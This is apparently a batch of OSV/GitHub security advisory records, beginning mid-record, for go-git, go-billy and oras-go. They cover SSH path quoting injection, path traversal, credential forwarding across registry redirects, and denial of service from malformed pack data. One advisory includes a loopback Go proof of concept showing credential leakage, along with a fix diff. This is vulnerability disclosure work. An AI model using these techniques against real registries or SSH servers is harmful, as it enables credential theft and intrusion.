      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:21:01Z",
    "nvd_published_at": "2026-05-27T15:16:30Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\n`go-git`\u0027s SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. This diverges from canonical Git, which shell-quotes the path through `sq_quote_buf` so that an embedded `\u0027` becomes the `\u0027\\\u0027\u0027` close-escape-reopen sequence and the whole path round-trips as a single quoted argument.\n\nA repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. On SSH servers that evaluate the exec command through a shell (for example a user account whose login shell is `/bin/sh` or `/bin/bash`, or a `ForceCommand` wrapper that re-evaluates `$SSH_ORIGINAL_COMMAND`), those additional tokens execute in that account\u0027s command-execution context. SSH servers that tokenize the exec command without shell evaluation, including the canonical `git-shell` setup, are not affected.\n\nThe vulnerable behaviour is on the SSH server side, not in `go-git`: the same bytes can be produced by any SSH client. The change in `go-git` is defense-in-depth that restores parity with canonical Git\u0027s wire format and prevents `go-git` from being a vehicle for reaching shell-evaluating servers through attacker-influenced repository paths.\n\n### Patches\n\nUsers should upgrade to a patched version in order to mitigate this issue. The fix ports `sq_quote_buf` from canonical Git into `go-git`\u0027s SSH transport so that the wire output is byte-identical to what `git` itself would send for the same input.\n\nVersions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported go-git version.\n\n### Credit\n\nThanks to @N0zoM1z0 for reporting this to the `go-git` project. :bow:",
  "id": "GHSA-m7cr-m3pv-hgrp",
  "modified": "2026-06-08T23:42:58Z",
  "published": "2026-05-19T15:21:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-m7cr-m3pv-hgrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45570"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "go-git: Improper single-quote escaping in go-git SSH transport"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-billy/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:25:38Z",
    "nvd_published_at": "2026-05-28T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nMultiple path traversal issues exist across different components of `go-billy`. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using `..`) to escape intended base directories.\n\nWhile go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on `go-billy` for some level of isolation may inadvertently expose access to unintended filesystem locations.\n\nThe `osfs.ChrootOS` implementation is notably affected by this vulnerability and is now deprecated in `v5`, removed at `v6`. Users are recommended to move on to `osfs.BoundOS` instead: `osfs.New(path, WithBoundOS())`.\n\nUsers requiring stronger security boundary enforcement are recommended to upgrade to `v6`, where the `osfs` implementation are backed by the [traversal-resistant](https://go.dev/blog/osroot) primitive [os.Root](https://pkg.go.dev/os#Root).\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-billy` version.\n\n### Credits\nThanks to @faran66 and @vnykmshr for finding and separately reporting this issue privately to the go-git project. \ud83d\ude47",
  "id": "GHSA-qw64-3x98-g7q2",
  "modified": "2026-06-09T10:26:27Z",
  "published": "2026-05-14T18:25:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/security/advisories/GHSA-qw64-3x98-g7q2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44973"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-billy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v5.9.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-billy/releases/tag/v6.0.0-alpha.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-billy has path traversal vulnerabilities"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "oras.land/oras-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T21:54:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# ORAS Go forwards registry credentials across registry redirects\n\nReporter / public credit: JUNYI LIU\n\n## Summary\n\nORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.\n\nThere are two related paths:\n\n1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target.\n2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target.\n\nThe upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect.\n\n## Impact\n\nA registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.\n\nThis is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.\n\n## Affected Versions Tested\n\n- `oras-go v2.6.0`: affected.\n- `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected.\n- `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected.\n- ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`.\n\n## Security Invariant\n\nCredentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response.\n\n## Local Reproduction Overview\n\nAll testing used loopback servers and fake credentials only.\n\nManifest redirect flow:\n\n1. The client requests a manifest from the origin registry.\n2. The origin returns `401` with a Basic challenge.\n3. The client retries the origin request with the origin credential.\n4. The origin returns `307` to another port on the same hostname.\n5. The redirect sink receives the origin `Authorization` header.\n\nORAS CLI stored-credential flow:\n\n1. A temporary registry config contains a fake Basic credential for the origin registry only.\n2. Run:\n\n```sh\noras manifest fetch --plain-http --registry-config \u003cconfig\u003e \u003corigin\u003e/probe:latest\n```\n\n3. The origin authenticates the request and redirects it to another port.\n4. The redirect sink receives the origin `Authorization` header.\n\nBlob upload `Location` flow:\n\n1. The client starts a blob upload with `POST` to the origin registry.\n2. The origin challenges with Basic and then accepts the authenticated `POST`.\n3. The origin returns an upload `Location` URL on another port.\n4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.\n\n## Expected Result\n\nRedirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.\n\n## Observed Result\n\nIn affected versions, redirect or `Location` sinks received:\n\n```http\nAuthorization: Basic \u003cbase64 origin_user:origin_pass\u003e\n```\n\n## Standalone Reproducer\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/opencontainers/go-digest\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/auth\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/credentials\"\n)\n\ntype hit struct {\n\tMethod string `json:\"method\"`\n\tPath   string `json:\"path\"`\n\tHost   string `json:\"host\"`\n\tAuth   string `json:\"auth,omitempty\"`\n}\n\nfunc main() {\n\tconst username = \"origin_user\"\n\tconst password = \"origin_pass\"\n\tconst expectedAuth = \"Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=\"\n\tvar mu sync.Mutex\n\tvar originHits, sinkHits []hit\n\n\trecord := func(dst *[]hit, r *http.Request) {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\t*dst = append(*dst, hit{\n\t\t\tMethod: r.Method,\n\t\t\tPath:   r.URL.RequestURI(),\n\t\t\tHost:   r.Host,\n\t\t\tAuth:   r.Header.Get(\"Authorization\"),\n\t\t})\n\t}\n\n\tmanifest := []byte(`{\"schemaVersion\":2,\"mediaType\":\"application/vnd.oci.image.manifest.v1+json\",\"config\":{\"mediaType\":\"application/vnd.unknown.config.v1+json\",\"digest\":\"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\",\"size\":2},\"layers\":[]}`)\n\tmanifestDigest := digest.FromBytes(manifest).String()\n\n\tsink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026sinkHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"redirect-sink\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.oci.image.manifest.v1+json\")\n\t\tw.Header().Set(\"Docker-Content-Digest\", manifestDigest)\n\t\tw.Header().Set(\"Content-Length\", fmt.Sprint(len(manifest)))\n\t\t_, _ = w.Write(manifest)\n\t}))\n\tdefer sink.Close()\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026originHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"origin\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)\n\t}))\n\tdefer origin.Close()\n\n\trepo, err := remote.NewRepository(origin.Listener.Addr().String() + \"/probe\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trepo.PlainHTTP = true\n\trepo.Client = \u0026auth.Client{\n\t\tClient: origin.Client(),\n\t\tCredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t}),\n\t}\n\n\t_, _, err = repo.Manifests().FetchReference(context.Background(), \"latest\")\n\n\tleaked := false\n\tfor _, h := range sinkHits {\n\t\tif h.Auth == expectedAuth {\n\t\t\tleaked = true\n\t\t}\n\t}\n\n\tresult := map[string]any{\n\t\t\"origin_hits\": originHits,\n\t\t\"sink_hits\":   sinkHits,\n\t\t\"error\":       \"\",\n\t\t\"leaked\":      leaked,\n\t}\n\tif err != nil {\n\t\tresult[\"error\"] = err.Error()\n\t}\n\tencoded, _ := json.MarshalIndent(result, \"\", \"  \")\n\tfmt.Println(string(encoded))\n\n\tif leaked {\n\t\tfmt.Println(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n\t\treturn\n\t}\n\tfmt.Println(\"BOUNDARY_HELD_NO_CREDENTIAL_LEAK\")\n\tos.Exit(1)\n}\n```\n\n## Candidate Fix\n\nThe candidate fix does two things:\n\n1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.\n2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.\n\nThe patch also adds regression coverage for both redirect cases:\n\n- redirect before origin authentication reaches a different origin;\n- redirect after origin authentication reaches a different origin.\n\n```diff\ndiff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go\nindex 35826eb..60c9f88 100644\n--- a/registry/remote/auth/client.go\n+++ b/registry/remote/auth/client.go\n@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {\n \tfor key, values := range c.Header {\n \t\treq.Header[key] = append(req.Header[key], values...)\n \t}\n-\treturn c.client().Do(req)\n+\tclient := c.client()\n+\tclientCopy := *client\n+\tcheckRedirect := client.CheckRedirect\n+\tclientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {\n+\t\tif len(via) \u003e 0 \u0026\u0026 !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {\n+\t\t\tredirectReq.Header.Del(headerAuthorization)\n+\t\t}\n+\t\tif checkRedirect != nil {\n+\t\t\treturn checkRedirect(redirectReq, via)\n+\t\t}\n+\t\treturn nil\n+\t}\n+\treturn clientCopy.Do(req)\n+}\n+\n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n }\n \n // credential resolves the credential for the given registry.\n@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tvar attemptedKey string\n \tcache := c.cache()\n \thost := originalReq.Host\n+\tif host == \"\" {\n+\t\thost = originalReq.URL.Host\n+\t}\n \tscheme, err := cache.GetScheme(ctx, host)\n \tif err == nil {\n \t\tswitch scheme {\n@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tif resp.StatusCode != http.StatusUnauthorized {\n \t\treturn resp, nil\n \t}\n+\trespHost := resp.Request.Host\n+\tif respHost == \"\" {\n+\t\trespHost = resp.Request.URL.Host\n+\t}\n+\tif respHost != host {\n+\t\treturn resp, nil\n+\t}\n \n \t// attempt again with credentials for recognized schemes\n \tchallenge := resp.Header.Get(headerWWWAuthenticate)\ndiff --git a/registry/remote/repository.go b/registry/remote/repository.go\nindex 74d6b89..0bd20ec 100644\n--- a/registry/remote/repository.go\n+++ b/registry/remote/repository.go\n@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte\n // Push or by Mount when the receiving repository does not implement the\n // mount endpoint.\n func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {\n+\toriginalURL := req.URL\n \treqHostname := req.URL.Hostname()\n \treqPort := req.URL.Port()\n \t// monolithic upload\n@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \tq.Set(\"digest\", expected.Digest.String())\n \treq.URL.RawQuery = q.Encode()\n \n-\t// reuse credential from previous POST request\n-\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" {\n+\t// reuse credential from previous POST request only when the upload location\n+\t// remains on the same origin.\n+\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" \u0026\u0026 sameHTTPOrigin(originalURL, location) {\n \t\treq.Header.Set(\"Authorization\", auth)\n \t}\n \tresp, err = s.repo.do(req)\n@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \treturn nil\n }\n \n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) \u0026\u0026 strings.EqualFold(a.Host, b.Host)\n+}\n+\n // Exists returns true if the described content exists.\n func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {\n \tif err := s.repo.checkPolicy(ctx, \"\"); err != nil {\n```\n\n## Validation Performed\n\nThe repaired candidate fix blocked:\n\n- manifest redirect credential forwarding;\n- upload `Location` credential forwarding.\n\nTargeted tests passed:\n\n```sh\ngo test ./registry/remote/auth -run \u0027TestClient_Do_Basic_Auth_Redirect|TestClient_Do\u0027 -count=1\ngo test ./registry/remote -run \u0027Test_BlobStore_Push|TestRepository\u0027 -count=1\n```\n\n## Prior Art / Duplicate Notes\n\nPublic pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR\u0027s stated upload `Location` scope.\n\nBearer realm credential exfiltration appears to be a separate issue family and is not part of this report\u0027s primary claim.\n\n## Claim Boundaries\n\nProven:\n\n- Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests.\n- ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.\n- The candidate fix blocks the tested redirect and upload `Location` credential exposures.\n\nNot claimed:\n\n- Live third-party exploitation.\n- RCE, host compromise, or registry compromise.\n- Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions.\n- Bearer realm behavior as part of the same claim.",
  "id": "GHSA-vh4v-2xq2-g5cg",
  "modified": "2026-07-01T21:54:06Z",
  "published": "2026-07-01T21:54:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-vh4v-2xq2-g5cg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/commit/3c2e884e12ea52b6bff60c97f1edb7df7d0e0909"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oras-project/oras-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ORAS Go forwards registry credentials across registry redirects"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.19.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:43:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nSeveral denial-of-service issues were identified in `go-git` when parsing maliciously crafted Git repository data.\n\nAn attacker may craft a malicious `.pack`, `.idx` or loose objects that causes an application using an affected version of `go-git` to panic or consume excessive resources.\n\nThis can lead to denial of service in applications that use `go-git` to clone, fetch, open, or otherwise process untrusted repositories or Git object data.\n\nExploitation requires the ability to alter read-only files such as `.pack` or `.idx` from the local repository\u0027s `.git/objects/pack/` directory. Alternatively, the user would need to be interacting with a malicious remote server, which is not recommended and exposes users to a broader class of security risks beyond this issue.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-git` version.\n\n### Credits\ngo-git thanks @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this in four separate reports. \ud83d\ude47",
  "id": "GHSA-w5pp-99ch-qj29",
  "modified": "2026-05-29T19:43:27Z",
  "published": "2026-05-29T19:43:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-w5pp-99ch-qj29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-git: Malformed Git object data may cause panics or resource exhaustion"
}